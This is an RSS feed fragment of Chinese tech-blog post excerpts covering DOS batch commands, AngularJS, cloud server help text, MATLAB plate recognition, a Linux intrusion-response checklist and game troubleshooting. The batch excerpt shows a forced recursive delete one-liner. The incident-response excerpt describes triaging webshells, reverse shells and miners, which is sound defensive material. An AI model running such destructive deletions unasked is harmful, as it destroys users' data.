      <description>大地测量专业标准分甲级和乙级，其中乙级为&#xA;1.大地测量专业资质8个子项有：卫星定位测量、全球导航卫星系统连续运行基准站网位置数据服务、水准测量、三角测量、天文测量、重力测量、基线测量、大地测量数据处理。&#xA;2. 大地测量乙级专业资质人员规模考核指标：测绘及相关专业技术人员25名，，其中高级测绘工程师2名，中级测绘工程师9名，初级测绘工程14名。&#xA;3. 大地测量乙级专业资质仪器设备考核指标：(1)卫星定位测量：全球导航卫星系统接收机6台。(2)全球导航卫星系统连续运行基准站网位置数据服务：服务器3台，数据存储设备10TB。(3)水准测量：水准仪5台。(4)三角测量：全站仪5台。(5)天文测量：天文测量设备1台。(6)重力测量：重力仪2台。&#xA;4.大地测量乙级作业限额：(1)卫星定位测量作业限额：C级以下。不得承担全球导航卫星系统连续运行基准站建设。(2)全球导航卫星系统连续运行基准站网位置数据服务作业限额：设区的市级行政区域以下。不得提供国家和区域坐标参考框架服务。不得提供优于0.1m精度的位置数据服务。(3)水准测量、三角测量、天文测量作业限额：三等以下。(4)重力测量作业限额：专业重力测量。(5)大地测量数据处理作业限额：相应于上述限额。&#xA;虽然现在测绘资质在等新规，预新规出来的乙级人数是20个人，相对于之前少了部分人数，但是在新规出来之前这都不好说，得看实际出来的时间，这段时间如果有需要办理测绘乙级资质的可以先联系我准备，后面新规出来再根据实际要求的人员多补少退来处理即可。</description>
    </item>
    <item>
      <title>Dos批处理命令一览表</title>
      <link>https://bchobby.github.io/posts/008e39ed166e61147428ea368f8d4cd7/</link>
      <pubDate>Fri, 06 Aug 2021 13:52:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/008e39ed166e61147428ea368f8d4cd7/</guid>
      <description>命令类型命令功能参数说明网络命令ping测试IP连接　ipconfig查看IP配置　arp解析地址　start开启命令　shutdowm关闭或重启计算机　taskkill关闭指定进程　延迟环境变量扩展命令setloacl enabledelayedexpansion延迟环境变量扩展　set/a a=1,b1=10&#xA;Setlocal EnableDelayedExpansion&#xA;echo:!b%a%! …显示语句echo显示信息　1、输出提示信息echo hello,world@2、关闭该命令的回显：@ echo 信息@3、打开回显或关闭回显功能@echo off ;@echo on.,:;&#34;/]+\ 输出空行4、输出空行，即相当于输入一个回车echo./echo,/echo:/echo;/echo&#34;/echo//echo]/echo+/echo\/| 答复命令中的提问5、答复命令中的提问echo Y|rd /s c:\abc&amp;gt;6、建立新文件或增加文件内容echo 123&amp;gt;myfile.txt；echo. &amp;gt;myfile.txt 注释语句rem注释　注释后会回显。例rem 上面的echo 语句用于显示提示。::　执行时不会回显。例::上面的echo 语句用于显示提示。　pause暂停　Echo 其他提示语 &amp;amp; pause &amp;gt; nul目录语句cd目录切换.\..同分区切换&#xA;1、cd C:\WINDOWS&#xA;2、切换到当前目录 cd.&#xA;3、返回根目录cd\&#xA;4、返回上一级目录 cd../d不同分区切换&#xA;cd /d d:\123\abc&#xA;D:显示当前的完整路径%cd%echo 当前路径是 %cd%文件语句dir列文件名 /S 显示指定目录和所有子目录中的文件。 dir /s c:\windows /A 显示具有指定属性的文件&#xA;D 目录&#xA;R 只读文件 H 隐藏文件 dir /ah c:\</description>
    </item>
    <item>
      <title>angularjs ajax json,AngularJS JSON解析(ajax)</title>
      <link>https://bchobby.github.io/posts/4481e3b6b45d259089bb3d36bb0c5924/</link>
      <pubDate>Fri, 06 Aug 2021 13:19:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4481e3b6b45d259089bb3d36bb0c5924/</guid>
      <description>我一直在努力提出ajax请求,但似乎有问题.当我的json属性名称在“(like {”name“：value”})中时,它可以工作,但属性名称不是.我有以下例外情况&#xA;SyntaxError: Unexpected token s&#xA;at Object.parse (native)&#xA;at pb (http://localhost:8080/angularjs/lib/angular.min.js:12:472)&#xA;at Vc.d.defaults.transformResponse (http://localhost:8080/angularjs/lib/angular.min.js:92:314)&#xA;at http://localhost:8080/angularjs/lib/angular.min.js:92:127&#xA;at Array.forEach (native)&#xA;at n (http://localhost:8080/angularjs/lib/angular.min.js:6:192)&#xA;at Qb (http://localhost:8080/angularjs/lib/angular.min.js:92:109)&#xA;at c (http://localhost:8080/angularjs/lib/angular.min.js:93:295)&#xA;at h (http://localhost:8080/angularjs/lib/angular.min.js:77:437)&#xA;at http://localhost:8080/angularjs/lib/angular.min.js:78:169&#xA;这是我的代码：&#xA;index.html的：&#xA;{{users.data}}&#xA;indexApp.js&#xA;function AjaxController($scope,$http) {&#xA;$scope.beers = [ 0,1,2,3,4,5,6 ];&#xA;console.log(&#34;OMW&#34;);&#xA;$http({&#xA;method : &#39;GET&#39;,url : &#39;data.json&#39;&#xA;}).success(function(data,status,headers,config) {&#xA;$scope.users = data;&#xA;}).error(function(data,config) {&#xA;$scope.users = &#34;error&#34; + data;&#xA;});&#xA;};&#xA;data.json&#xA;{</description>
    </item>
    <item>
      <title>信息系统服务器升级,研究生信息系统服务器升级通告</title>
      <link>https://bchobby.github.io/posts/4caeddf3f02969d364f412ba01c01018/</link>
      <pubDate>Fri, 06 Aug 2021 13:18:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4caeddf3f02969d364f412ba01c01018/</guid>
      <description>为了提供更优质的服务，研究生信息系统将于2018年7月15日(周日)8：00-24:00进行服务器升级，期间信息系统将无法访问。7月16日(周一)恢复正常运行。&#xA;给您带来的不便，敬请谅解！&#xA;上海交通大学研究生院&#xA;2018年7月9日&#xA;In order to provide better service, the servers of graduate student information system will be upgraded in 8:00-24:00 on Sunday, July 15, 2018. The information system will not be available during the upgrading. The system will be restored to normal on Monday,July 16th,2018.We are sorry for any inconvenience caused.&#xA;Graduate School of Shanghai Jiao Tong University&#xA;July 9, 2018</description>
    </item>
    <item>
      <title>服务器系统格式,服务器系统用什么格式</title>
      <link>https://bchobby.github.io/posts/d476ab34d4a54498e432f82ca733b9db/</link>
      <pubDate>Fri, 06 Aug 2021 13:17:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d476ab34d4a54498e432f82ca733b9db/</guid>
      <description>服务器系统用什么格式 内容精选&#xA;换一换&#xA;私有镜像包含操作系统、预装的公共应用以及用户的私有应用，仅用户个人可见。您可以通过以下方式创建私有镜像：通过裸金属服务器创建私有镜像当前仅支持快速发放型裸金属服务器(操作系统安装在云硬盘中)来创建私有镜像。当前仅支持快速发放型裸金属服务器(操作系统安装在云硬盘中)来创建私有镜像。通过外部镜像文件创建私有镜像用户可以上传外部镜像文件并将镜像&#xA;为加强对数据的容灾管理，云堡垒机支持手动备份和配置日志远程备份，提高审计数据安全性和系统可扩展性。通过手动导出/下载各功能模块数据文件保存在本地，可手动备份日志请参见表1。系统内导出的csv文件，用Excel打开可能会乱码。若出现乱码情况，请先修改文件编码格式再打开文件，详细说明请参考为什么打开CBH系统数据文件显示乱码？通过配置日志备份&#xA;服务器系统用什么格式 相关内容&#xA;为安全起见，裸金属服务器登录时建议使用密钥对方式进行身份验证。因此，您需要使用已有密钥对或创建一个密钥对，用于远程登录身份验证。创建密钥对如果没有可用的密钥对，需要创建一个密钥对，生成公钥和私钥，并在登录裸金属服务器时提供私钥进行鉴权。创建密钥对的方法如下：(推荐)通过管理控制台创建密钥对，公钥自动保存在系统中，私钥由用户保存在本地，具体&#xA;获取裸金属服务器的详细信息。该接口支持查询裸金属服务器的计费方式，以及是否被冻结。GET 参数说明请参见表1。/v1/{project_id}/baremetalservers/{server_id}请求参数无无请求样例GET https://{BMS Endpoint}/v1/bbf1946d374b44a0a2a95533562ba9&#xA;服务器系统用什么格式 更多内容&#xA;已获取该弹性云服务器的密钥文件。弹性云服务器已经绑定弹性IP地址。已配置安全组入方向的访问规则。如果您是在Windows操作系统上登录Linux，可以按照下面方式登录弹性云服务器。我们以PuTTY为例介绍如何登录弹性云服务器，使用PuTTY登录弹性云服务器前需要先转化私钥格式。在下面路径中下载PuTTY和PuTTYgen。http://w&#xA;本文以云服务器的操作系统为“Windows Server 2016 Standard 64bit”为例，提供磁盘的初始化操作指导。MBR格式分区支持的磁盘最大容量为2 TB，GPT分区表最大支持的磁盘容量为18 EB，因此当为容量大于2 TB的磁盘分区时，请采用GPT分区方式。具体操作请参见初始化容量大于2TB的Windows数据盘(Wi&#xA;简要介绍Solr是一个独立的企业级搜索应用服务器，它对外提供类似于Web-service的API接口。用户可以通过http请求，向搜索引擎服务器提交一定格式的XML文件，生成索引；也可以通过Http Get操作提出查找请求，并得到XML格式的返回结果。语言：Java一句话描述：企业级搜索应用服务器开源协议：Apache建议的版本建议使用版&#xA;SAP S/4HANA实例节点数据磁盘需要进行格式化，并挂载到相应的目录后，才能被正常使用。登录待安装SAP S/4HANA的云服务器“s4001”，查看未格式化的磁盘，根据磁盘大小确定/usr/sap卷、ASCS卷、ERS卷、SBD卷以及swap卷的磁盘，然后格式化磁盘，创建磁盘挂载目录并且执行挂载，各磁盘大小以及对应的挂载点请参考SA&#xA;本节操作介绍在Windows和Linux环境中使用SSH密钥对方式远程登录Linux云服务器的操作步骤。已获取创建该弹性云服务器时使用的密钥对私钥文件。弹性云服务器已经绑定弹性公网IP，绑定方式请参见查看弹性云服务器详细信息(列表视图)。已配置安全组入方向的访问规则，配置方式请参见配置安全组规则。使用的登录工具(如PuTTY)与待登录的弹&#xA;本文以云服务器的操作系统为“Windows Server 2008 R2 Enterprise 64bit”为例，提供磁盘的初始化操作指导。MBR格式分区支持的磁盘最大容量为2 TB，GPT分区表最大支持的磁盘容量为18 EB，因此当为容量大于2 TB的磁盘分区时，请采用GPT分区方式。具体操作请参见初始化容量大于2TB的Windows数&#xA;源端服务器数据收集声明。源端服务器上安装和配置完迁移Agent后，迁移Agent会把源端服务器信息发送给主机迁移服务校验，收集的源端服务器的详细信息请参见主机迁移服务会收集源端的哪些信息？。这些数据只用于迁移可行性判断，不做其他用途。若您使用主机迁移服务，表示您同意主机迁移服务对这些信息的收集。源端服务器上安装和配置完迁移Agent后，迁&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;如果您选择使用SFS Turbo实现文件共享存储，此章节可跳过。将NFS Server磁盘进行格式化，以满足安装SAP系统的要求。本章节以格式化Shared卷、Backup卷和SBD为例，NFS Server上为SAP NetWeaver规划的共享盘也需要绑定给NFS Server备节点并进行格式化，格式化操作详情请参考格式化NFS磁盘。&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;包年/包月的计费模式也称为包周期计费模式，是一种预付费方式，按订单的购买周期计费，适用于可预估资源使用周期的场景，价格比按需计费模式更优惠。包年/包月计费模式的弹性云服务器使用说明：“包年/包月”的弹性云服务器创建后不能删除，如需停止使用，请在弹性云服务器列表页，单击“操作”列下的“更多 &amp;gt; 退订”，执行退订操作。在创建弹性云服务器时购买</description>
    </item>
    <item>
      <title>基于MATLAB的车牌识别基本原理及算法讲解</title>
      <link>https://bchobby.github.io/posts/a1096d7ef768f640a03ba516c2ae7354/</link>
      <pubDate>Fri, 06 Aug 2021 13:06:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a1096d7ef768f640a03ba516c2ae7354/</guid>
      <description>本博文为由星火燎原研发中心推出的基于MATLAB的车牌识别项目的配套解释博文，主要介绍各步骤算法的原理及用到的函数，方便大家快速理解该程序的工作原理，并在此基础上进行修改或者二次开发，该程序或者项目的使用方法，二次开发的方法，及注意事项见B站视频讲解&#xA;一：GUI界面预览&#xA;二：选择图片&#xA;使用uigetfile函数打开一个模态对话框，其中列出了当前文件夹中的文件。在这里选择或输入文件的名称。选择文件点击打开时，uigetfile将返回文件名。如果点击取消或窗口关闭按钮 (X)，uigetfile 将返回 0。： 对应的GUI界面如下： 三：预处理&#xA;（1）灰度化 使用Rgb2gray函数将 RGB 图像或颜色图转换为灰度图，图像预处理的第一步是图像灰度化处理。该步骤使图像占用空间减少。灰度化处理结束后输出灰度化图像与灰度直方图： 对应的GUI界面如下： （2）边缘检测 使用edge函数进行边缘检测，在使用edge函数时可以指定要检测的边缘的方向。Sobel 和 Prewitt 方法可以检测垂直方向和/或水平方向的边缘。Roberts 方法可以检测与水平方向成 45 度角和/或 135 度角的边缘。经过分析和实践，使用Sobel方法效果较好，该函数的第三个参数为二值化阈值，把比该值大的置为1 为了在GUI中方便调试，我们把边缘检测的阈值设定为一个变量edit2_aa，该变量的值可以通过GUI中的文本框进行设定，如下所示： 对应的GUI界面如下： 四：车牌定位&#xA;（1）图像腐蚀 使用imerode() 函数进行图像腐蚀，来去除上一步边缘检测后遗留的噪声点， J = imerode(I,SE) 腐蚀灰度图像、二值图像或压缩二值图像 I，返回腐蚀图像 J。其中SE 是结构元素对象或结构元素对象的数组，由 strel 或 offsetstrel 函数返回。本列中由strel函数返回结构元素SE。 为方便在GUI中进行调试，矩形结构元素的行数由GUI中可编辑文本框输入，默认为2，列数固定为1 对应的GUI界面如下： 可以发现经过图像腐蚀后，去除了除车牌外的干扰点 （2）平滑处理 使用 imclose函数，即闭运算：用结构元素对图像先膨胀，再腐蚀。对图像进行平滑处理，闭运算可以用来融合窄的缺口和细长的弯口，去掉小洞，填补轮廓上的缝隙 本部分的结构元素采用一个大小为 [n n] 的矩形结构，其中矩形结构的行数及列数由GUI的可编辑文本框进行设定 对应的GUI界面如下： 可以发现经过平滑处理后，覆盖的区域跟车牌区域吻合度更好了，便于车牌的定位和切割 （3）移除对象 使用bwareaopen 函数可以用于从二值图像中删除小对象。该函数使用格式为 BW2 = bwareaopen(BW,P) 从二值图像 BW 中删除少于 P 个像素的所有连通分量（对象）并生成另一个二值图像 BW2。此运算称为面积开运算。 为GUI方便调试，我将bwareaopen函数的第二个参数，通过GUI可编辑文本框输入，并进行调试 对应的GUI界面如下： 由于前一步的平滑处理后并没有小区域，所以对此步而言，效果并不明显。 –</description>
    </item>
    <item>
      <title>服务器修改数据库,服务器数据库修改</title>
      <link>https://bchobby.github.io/posts/8b107420cc0bfa5cef3d120bb866d809/</link>
      <pubDate>Fri, 06 Aug 2021 12:33:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b107420cc0bfa5cef3d120bb866d809/</guid>
      <description>服务器数据库修改 内容精选&#xA;换一换&#xA;数据安全中心与周边服务的依赖关系如图1所示。对象存储服务(Object Storage Service，简称OBS)是一款稳定、安全、高效、易用的云存储服务，具备标准Restful API接口，可存储任意数量和形式的非结构化数据。经用户授权后，数据安全中心可以为OBS提供敏感数据自动识别分类、用户异常行为分析、数据保护三大服务。关系型数据&#xA;为确保华为云关系型数据库服务发挥出最优性能，用户可根据业务需求对用户创建的参数模板中的参数进行调整。您可以修改用户创建的数据库参数模板中的参数值，但不能更改默认数据库参数模板中的参数值。以下是您在使用数据库参数模板中的参数时应了解的几个要点：如果您单击实例名称，在参数修改页面修改当前实例的参数模板，更改动态参数并保存数据库参数模板时，系统&#xA;服务器数据库修改 相关内容&#xA;本文档以测试MySQL数据库为例,Mariadb、Percona测试步骤与MySQL相同。登录MySQL数据库。/usr/local/mysql/bin/mysql -uroot -p123456 -S /data/mysql/run/mysql.sock创建数据库sysbench。create database sysbench;&#xA;sh&#xA;您需要确保您的应用程序所在的弹性云服务器与云数据库RDS实例在同一个虚拟私有云。如果不在，需要修改虚拟私有云中的路由表和网络ACL，以确保应用程序所在的弹性云服务器能够访问云数据库RDS实例。&#xA;服务器数据库修改 更多内容&#xA;WordPress简称WP，最初是一款博客系统，后逐步演化成一款免费的CMS(内容管理系统/建站系统)。本文档指导用户使用华为云市场镜像“Wordpress官方正式版”部署WordPress博客系统。已购买虚拟私有云和弹性公网IP。如果规划为网站配置域名，需已经购买好相应的域名。弹性云服务器所在安全组添加了如表1所示的安全组规则，具体步骤&#xA;精选30+云产品，企业上云必备，特惠来袭&#xA;来自：其他&#xA;数据库安全服务支持华为云的以下数据库：关系型数据库(Relational Database Service，RDS)弹性云服务器(Elastic Cloud Server ，ECS)的自建数据库裸金属服务器(Bare Metal Server，BMS)的自建数据库&#xA;文档数据库服务提供使用数据管理服务(Data Admin Service，简称DAS)、内网和公网的连接方式。文档数据库服务默认为您开通了远程主机登录权限，推荐您使用更安全便捷的数据管理服务连接实例，具体请参见通过数据管理服务连接副本集实例(推荐)。&#xA;“数据导入”章节适用于MRS 3.x及后续版本。Loader是实现MRS与外部数据源如关系型数据库、SFTP服务器、FTP服务器之间交换数据和文件的ETL工具，支持将数据或文件从关系型数据库或文件系统导入到MRS系统中。Loader支持如下数据导入方式：从关系型数据库导入数据到HDFS/OBS从关系型数据库导入数据到HBase从关系型数据&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;云服务器备份在支持崩溃一致性备份的基础上，同时支持数据库备份。文件/磁盘数据在同一时间点，通过数据库备份内存数据，能够保证应用系统一致性，如包含MySQL或SAP HANA数据库的弹性云服务器。暂不支持集群的应用一致性，如MySQL Cluster，只支持单个服务器上应用的一致性。建议在业务量较小的时间段执行数据库备份。登录管理控制台。单&#xA;PostgreSQL支持逻辑备份。您可使用pg_dump逻辑备份功能，导出备份文件，再通过psql导入到RDS中，实现将PostgreSQL的数据导入到云数据库RDS中。云数据库RDS服务支持开启公网访问功能，通过弹性公网IP进行访问。您也可通过弹性云服务器的内网访问云数据库RDS。准备弹性云服务器或可公网访问云数据库RDS。通过弹性云服&#xA;安全组是一个逻辑上的分组，为同一个虚拟私有云VPC内具有相同安全保护需求并相互信任的弹性云服务器提供访问策略。安全组创建后，用户可以在安全组中定义各种访问规则，当弹性云服务器加入该安全组后，即受到这些访问规则的保护。安全组的默认规则是在出方向上的数据报文全部放行，安全组内的弹性云服务器无需添加规则即可互相访问。系统会为每个云帐号默认创建一&#xA;配置应用系统的跨云热备容灾方案如图1所示。在如图1所示的方案中，用户的生产数据中心的应用系统使用MySQL作为数据库，应用系统与MySQL均热备容灾到华为云上。用户的生产数据中心与华为云之间使用专线进行网络连接。当生产数据中心发生灾难时，用户需要将原生产数据中心的业务故障转移到容灾端(即华为云)，并将业务流量的请求引流到华为云上ELB，实&#xA;使用整机镜像迁移数据库时，为了更低的RTO，推荐您在使用整机迁移的基础上，再使用备份恢复或者配置数据复制(例如HANA SR)的方式进行数据库的迁移。建议在业务量低峰期执行此操作。以下以HANA数据库为例，说明如何以更低RTO进行迁移。使用HSR进行迁移在发放了新的HANA数据库后，使用HANA系统复制进行数据的同步，方案如图1所示，详情</description>
    </item>
    <item>
      <title>服务器搭建无盘系统,云服务器可以搭建无盘系统吗</title>
      <link>https://bchobby.github.io/posts/5c2b8f96ac6ed64295a642dc402155ca/</link>
      <pubDate>Fri, 06 Aug 2021 12:07:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c2b8f96ac6ed64295a642dc402155ca/</guid>
      <description>云服务器可以搭建无盘系统吗 内容精选&#xA;换一换&#xA;当您成功创建私有镜像后，镜像的状态为“正常”，您可以使用该镜像创建服务器实例或云硬盘，也可以将镜像共享给其他帐号，或者复制镜像到其他区域。私有镜像的生命周期如图1所示。&#xA;系统盘：云服务器中安装操作系统的云硬盘，类似于电脑中的C盘。系统盘在购买云服务器时自动购买并挂载，无法单独购买。系统盘的最大容量为1024 GB。系统盘在购买云服务器时自动购买并挂载，无法单独购买。系统盘的最大容量为1024 GB。数据盘：云服务器中用来存储数据的云硬盘，用来存放除操作系统之外的其他数据，类似于电脑中的D盘、E盘、F盘等。&#xA;云服务器可以搭建无盘系统吗 相关内容&#xA;如果您已经创建了一台Linux云服务器，并根据业务需要进行了自定义配置(如安装软件、部署应用环境等)，您可以为更新后的云服务器创建系统盘镜像。使用该镜像创建新的云服务器，会包含您已配置的自定义项，省去您重复配置的时间。创建系统盘镜像不会影响云服务器上当前业务的运行，不会造成数据丢失，请放心使用。通过云服务器创建系统盘镜像的过程如下：从现有&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;云服务器可以搭建无盘系统吗 更多内容&#xA;不建议将挂载至Linux系统云服务器的云硬盘卸载后，重新挂载至Windows系统云服务器；也不建议将Windows系统云服务器上的云硬盘重新挂载至Linux系统云服务器。在这种情况下，由于文件系统不一致，可能导致磁盘无法显示。如果磁盘不显示，可以重新进行磁盘初始化和分区的操作。磁格式化盘会造成数据丢失，请提前对数据盘创建备份，避免数据丢失&#xA;挂载有NVMe SSD盘的Linux弹性云服务器(如P1型云服务器)发生故障时，需联系管理员通过异地重建的方式进行恢复，新建故障弹性云服务器。如果故障弹性云服务器在/etc/fstab中设置了NVMe SSD盘的开机自动挂载功能，对于新建弹性云服务器，系统盘恢复，但挂载的NVMe SSD盘无文件系统，无法实现开机自动挂载，导致云服务器启动&#xA;ISO是一种光盘映像文件，通过特定的压缩方式，将大量的数据文件统一为一个后缀名为iso的映像文件。ISO文件可以理解为从光盘中复制出来的数据文件，所以ISO文件无法直接使用，需要利用一些工具进行解压后才能使用。例如使用虚拟光驱打开，或者将ISO文件刻录到光盘中后，使用光驱来进行读取。本章介绍通过ISO文件创建Windows系统盘镜像的操作&#xA;云耀云服务器(Hyper Elastic Cloud Server，HECS)是可以快速搭建简单应用的新一代云服务器，具备独立、完整的操作系统和网络功能。提供快速应用部署和简易的管理能力，适用于网站搭建、开发环境等低负载应用场景。具有高性价比、易开通、易搭建、易管理的特点。云耀云服务器与弹性云服务器的主要区别：云耀云服务器：云耀云服务器是&#xA;弹性云服务器与周边服务的依赖关系如图1所示。弹性云服务器与其他服务的关系示意图&#xA;单独购买的云硬盘为数据盘，可以在云硬盘列表中看到磁盘属性为“数据盘”，磁盘状态为“可用”。此时需要将该数据盘挂载给云服务器使用。本章节指导用户挂载共享云硬盘。若云硬盘无法挂载至云服务器，处理方法请参见云硬盘为什么无法挂载至云服务器。一块共享云硬盘最多可同时挂载至16台云服务器，这些云服务器必须与共享云硬盘位于同一区域下的同一可用区。当共享&#xA;云服务器的系统盘在创建云服务器时自动创建并挂载，无需单独购买。数据盘可以在购买云服务器的时候一同购买，由系统自动挂载给云服务器。也可以在购买了云服务器之后，单独购买云硬盘并挂载给云服务器。本节操作介绍新增磁盘的操作步骤。登录管理控制台。单击管理控制台左上角的，选择区域和项目。选择“计算 &amp;gt; 弹性云服务器”。在弹性云服务器的“操作”列下，单&#xA;请您在购买前确保已完成注册和充值。详细操作请参见如何注册公有云管理控制台的用户？登录管理控制台。单击管理控制台左上角的，选择区域和项目。选择“计算 &amp;gt; 弹性云服务器”。单击“购买弹性云服务器”。系统进入购买页。SAP HANA(High-Performance Analytic Appliance)是基于内存计算技术的高性能实时数据计算平&#xA;本节操作介绍购买云耀云服务器的操作步骤。购买时，为减少您配置参数的时间，部分参数由系统自动分配，以下参数配置供你了解系统的默认配置。购买云耀云服务器仅支持“包年/包月”的计费方式，请您在购买前确保已完成注册和充值。详细操作请参见如何注册公有云管理控制台的用户？登录管理控制台。单击管理控制台左上角的，选择区域和项目。选择“计算 &amp;gt; 云耀云服&#xA;华为云现已上线新版的备份服务云备份。如果您在云服务器备份和云硬盘备份服务中存在备份资源，但希望使用新服务云备份对历史备份进行备份管理，可以将备份资源从云服务器备份和云硬盘备份服务一键迁移至云备份中。若您从未使用过云服务器备份和云硬盘备份服务或不再需要历史备份资源，可以跳过此章节，直接使用新服务。完成资源迁移后，您可以根据退订资源包完成云服&#xA;本节介绍将Windows操作系统的KVM实例变更为擎天架构实例的操作步骤。KVM实例：参考规格清单，查询对应规格的虚拟化类型。擎天架构实例：选择“通用计算增强型C7”。变更规格时不支持修改网络类型。擎天实例仅支持使用SCSI磁盘模式挂载磁盘，不支持使用VBD磁盘模式挂载磁盘。即磁盘标识为wwn。支持将“KVM实例”变更为“擎天实例”，不支</description>
    </item>
    <item>
      <title>服务器入侵应急响应,服务器入侵应急响应排查（Linux篇）</title>
      <link>https://bchobby.github.io/posts/b1b89a74cfe5f14e2f27f6e8c97d97fb/</link>
      <pubDate>Fri, 06 Aug 2021 12:00:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b1b89a74cfe5f14e2f27f6e8c97d97fb/</guid>
      <description>总体思路&#xA;确认问题与系统现象 → 取证清除与影响评估 → 系统加固 → 复盘整改&#xA;常见入侵&#xA;挖矿：&#xA;表象：CPU增高、可疑定时任务、外联矿池IP。&#xA;告警：威胁情报(主要)、Hids、蜜罐(挖矿扩散时触发)&#xA;动作：通过CPU确认异常情况→ 确认可疑进程 → 检查定时任务、主机服务、守护进程→结束病毒进程，删除病毒文件-&amp;gt;加固。&#xA;Webshell：&#xA;表象：业务侧应用逻辑漏洞(允许上传脚本等造成命令执行)或者开源软件低版本造成(fastjson等)导致，通常为反弹shell、高危命令执行，同时存在内网入侵、恶意程序传播、数据盗取等行为。&#xA;告警：Hids(主要)、流量监控设备&#xA;动作：确认Webshell文件内容与可用性→ 酌情断网，摘掉公网出口IP→ 通过日志等确认Webshell文件访问记录→ 确定Webshell入侵来源，是业务逻辑漏洞导致、开源组件漏洞还是弱口令与未授权等情况导致 →排查应用其他机器情况，全盘扫描Webshell文件→ 缩容机器，修复相关问题重新恢复应用开放。&#xA;内网入侵：&#xA;表象：以入侵的跳板机为源头进行端口扫描、SSH爆破、内网渗透操作、域控攻击等。&#xA;告警：Hids(主要)、蜜罐、域控监控(ATA等)&#xA;动作：确定入侵边界再进行处理，通常蜜罐等存在批量扫描爆破记录，需登录前序遭入侵机器确认情况，方便后续批量处理，这个情况较为复杂后期单独写一篇文章。&#xA;进程相关&#xA;1.查询可疑端口、进程、ip：netstat -antlp | more 或者 netstat -anltp | grep $pid，若存在可疑进程可通过 ls -l /proc/$PID 查看PID对应的进程文件路径。&#xA;2.针对挖矿等大量消耗系统资源的恶意程序可以通过 top(执行top命令后通过大写字母P按CPU排序，通过大写字母M按内存排序)、ps -elf 可疑$PID 、ps -aux命令检查排名靠前的或者不断变化的程序。同时使用 kill - 9 进程名 结束进程。&#xA;3.查询通过TCP、UDP连接服务器的IP地址列表：netstat -ntu ，查询可疑连接：netstat -antlp&#xA;4.查询守护进程：lsof -p $pid&#xA;5.查询进程命令行：ps -aux ，#注意查看命令行，如：带有URL等可疑字符串、wget等命令字符串可能为病毒下载地址&#xA;6.跟踪可疑进程运行情况：strace -tt -T -e trace=all -p $pid</description>
    </item>
    <item>
      <title>刺激战场战斗服务器无响应,绝地求生刺激战场网络异常怎么办 波动异常解决...</title>
      <link>https://bchobby.github.io/posts/2edb75a9ab5246b2056dfec378ec0342/</link>
      <pubDate>Fri, 06 Aug 2021 11:55:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2edb75a9ab5246b2056dfec378ec0342/</guid>
      <description>最近一些小伙伴老是遇到网络环境异常的警告，这一类问题除了游戏本身和网络问题外，和使用科技也是有关系的，那么绝地求生刺激战场网络异常怎么办呢？来随小编看看吧。&#xA;1、网络问题&#xA;先看下是不是网络太差导致的，你的网络wifi是不是出问题了，看看网络能不能打开其他的网页。我们可以一打开而且还很流畅，这个说明不是网速的问题，一部分就是我们游戏的问题。更新之后会出现这种问题，网络容易出现异常，当然和手机也有一定的关系。&#xA;2、手机问题&#xA;游戏的优化问题导致的，这个和之前的华为马赛克是一样的，我们的游戏优化出了问题，这样手机的问题就不能解决了。手机问题主要就是我们的优化导致的，这个需要去官方反馈，或者是官方自己查出来，这样可以等官网维护进行解决。&#xA;3、游戏问题&#xA;游戏更新后出现BUG问题，这样会导致我们的游戏出现异常，这次更新的确是有很多的问题。游戏问题一般都是更新之后导致的，主要是新BUG又出来了，这样必须要等官方维护之后才能解决异常问题。&#xA;一部分玩家是因为网络导致的，移动的辽宁网络出现这种问题是最多的，建议可以重新下载一次，或者是等官方维护。&#xA;以上就是绝地求生刺激战场网络异常怎么办，波动异常解决的全部内容了，了解更多绝地求生刺激战场攻略请关注87G绝地求生刺激战场！</description>
    </item>
    <item>
      <title>刺激战场战斗服务器无响应,刺激战场：玩着的时候突然会卡顿，不如试一试这几种设置！...</title>
      <link>https://bchobby.github.io/posts/5017f850a0f18e5942a177ed4f6006f0/</link>
      <pubDate>Fri, 06 Aug 2021 11:55:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5017f850a0f18e5942a177ed4f6006f0/</guid>
      <description>现在刺激战场这个游戏，可是一款人尽皆知的热门吃鸡游戏，而且年龄段也不没有限制。那么，小编也相信现在很多的小伙伴都玩过刺激战场了。但是不少的玩家都在烦恼着一个问题，就是玩着玩着突然手机变得卡顿！因为刺激战场现在对手机的硬件要求变得越来越高了，可是把一些小伙伴的低配手机拒之门外！因此，这个时候很多的玩家都只能无奈，表现出了“望机无奈”的状况，最后被迫换了一部新的高配手机。&#xA;那么，如今很多的事情都是有解决的办法，而这手机卡顿自然也是有着解决的办法，那么今天金焕就给大家介绍一下，这几种提升刺激战场流畅性的方法吧，不如试一试这几种设置，学会这几种很实用哦，千万别错过！&#xA;1.画面设置&#xA;而这个画质设置这个按钮是在我们进入了游戏里面的设置界面！首先是要把这个画质设置，设置为均衡，接着是把帧数设置调为超高这样，这样自然而然的，在画面流畅度这方面能够有所提高！然后不少的玩家又会说这出这样的问题，就是游戏依旧卡顿怎么办啊？那么，就把画面风格这个设置为经典，虽说每个人的风格不同，自然而然地就把这个画面风格改为别的方式，那么这个时候我们一点要忍住，因为调为经典是最流畅的！所以，对于手机卡的玩家来说，这样的三个设置是一定要改得，不然你很难感受到游戏体验的！记得小编说的，当你卡顿的时候别忘记哟！&#xA;2.抗锯齿功能&#xA;还有一个最重要的就是抗锯齿功能！这个设定大家记得关闭，千万一定要选择关闭，因为开启抗锯齿这个功